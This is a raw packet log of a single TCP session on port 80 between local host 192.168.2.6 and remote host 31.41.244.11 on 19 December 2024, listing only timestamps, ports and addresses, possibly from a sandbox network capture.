Dec 19, 2024 08:09:23.013577938 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.013591051 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.013603926 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.013614893 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.013641119 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.132998943 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.133028030 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.133167028 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.133167028 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.137105942 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.137180090 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.205985069 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.206007004 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.206060886 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.206103086 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.210037947 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.210088015 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.210108042 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.210129023 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.216618061 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.216690063 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.216742992 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.224889040 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.224972963 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.228739023 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.233335018 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.233436108 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.234580040 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.241619110 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.241727114 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.244808912 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.250083923 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.250181913 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.250272989 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.258384943 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.258477926 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.258874893 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.266797066 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.266891003 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.268764973 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.275269985 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.275341988 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.276777983 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.283577919 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.283621073 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.284765005 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.325784922 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.325807095 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.325874090 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.329744101 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.332282066 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.398297071 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.398525953 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.398585081 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.400409937 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.400480986 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.400492907 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.400537968 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.405308962 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.405329943 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.405385017 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.409862995 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.409970045 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.410065889 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.414663076 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.414716005 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.414766073 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.419332981 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.419446945 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.419497967 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.424108028 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.424221992 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.424280882 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.428802967 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.428896904 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.428947926 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.433427095 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.433446884 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.433504105 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.438111067 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.438242912 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.438327074 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.442783117 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.442863941 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.442919016 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.447484970 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.447613001 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.447686911 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.452224970 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.452263117 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.452295065 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.452337027 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.456870079 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.456958055 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.457021952 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.460511923 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.460680962 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.460758924 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.464173079 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.464272022 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.464322090 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.467798948 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.467865944 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.467876911 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.467969894 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.471467972 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.471527100 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.471564054 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.471613884 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.475121975 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.475202084 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.475238085 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.475470066 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.478755951 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.478863001 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.478924990 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.482404947 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.482569933 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.482630968 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.486036062 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.486171007 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.486238956 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.489703894 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.489805937 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.489867926 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.518157005 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.518259048 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.518326998 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.589891911 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.589935064 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.589989901 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.591248989 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.591336966 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.591351986 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.591399908 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.594146013 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.594204903 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.594244957 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.594285011 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.596959114 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.597045898 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.597091913 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.597225904 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.599694014 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.599759102 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.599813938 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.602479935 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.602535009 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.602658033 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.604747057 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.605144978 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.605242968 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.605288982 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.607779026 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.607873917 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.607929945 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.610261917 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.610438108 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.610496998 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.612840891 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.613061905 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.613122940 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.615318060 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.615411043 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.615458012 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.617734909 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.617804050 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.617851019 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.620146036 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.620194912 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.620249987 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.620727062 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.622579098 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.622692108 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.622760057 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.625015974 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.625123978 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.625175953 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.627448082 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.627548933 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.627602100 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.629894972 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.629951954 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.629996061 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.632345915 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.632383108 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.632405043 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.632411003 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.632925987 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.634748936 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.634812117 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.634846926 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.635286093 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.637212038 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.637254000 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.637326002 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.637473106 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.639631987 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.639678955 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.639743090 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.639780045 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.642069101 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.642128944 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.642170906 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.642370939 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.644613981 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.644689083 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.644850969 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.644891024 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.646399021 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.646434069 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.646507025 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.646548986 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.648196936 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.648247004 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.648302078 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.648354053 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.650058031 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.650120974 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.650125980 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.650403976 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.651853085 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.651952982 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.651998997 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.653711081 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.653759956 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.653831959 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.655720949 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.655738115 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.655813932 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.657306910 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.657404900 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.657408953 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.657515049 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.659147024 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.659209967 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.659293890 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.659365892 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.661220074 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.661278009 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.661339998 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.661421061 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.663691044 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.663742065 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.663795948 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.665582895 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.665601969 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.665652037 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.667541981 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.667665005 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.667727947 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.669146061 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.669204950 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.669245005 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.670445919 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.670458078 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.670489073 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.670521975 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.671974897 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.672036886 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.672276020 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.781924963 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.782073021 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.782176018 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.782674074 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.782960892 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.783004999 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.783010006 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.783042908 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.784533978 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.784630060 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.784677982 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.786092043 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.786175013 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.786223888 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.787683964 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.787873983 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.787928104 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.789201975 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.789347887 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.789402008 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.790721893 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.790853977 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.790925980 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.792211056 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.792262077 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.792351007 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.793705940 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.793752909 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.793834925 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.795208931 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.795253038 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.795253992 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.795294046 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.796555996 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.796675920 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.796730042 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.797986031 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.798091888 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.798157930 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.799407959 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.799499989 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.799549103 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.800827980 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.800873041 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.800919056 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.802243948 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.802288055 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.802432060 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.802901030 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.803669930 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.803719044 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.803813934 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.803873062 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.805095911 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.805286884 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.805339098 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.806531906 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.806704998 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.806734085 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.806766033 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.807930946 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.808080912 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.808135033 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.809309959 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.809437990 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.809492111 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.810741901 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.810843945 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.810894012 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.812130928 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.812177896 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.812242985 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.812589884 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.813576937 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.813678980 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.813718081 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.814994097 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.815083027 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.815128088 CET	49839	80	192.168.2.6	31.41.244.11
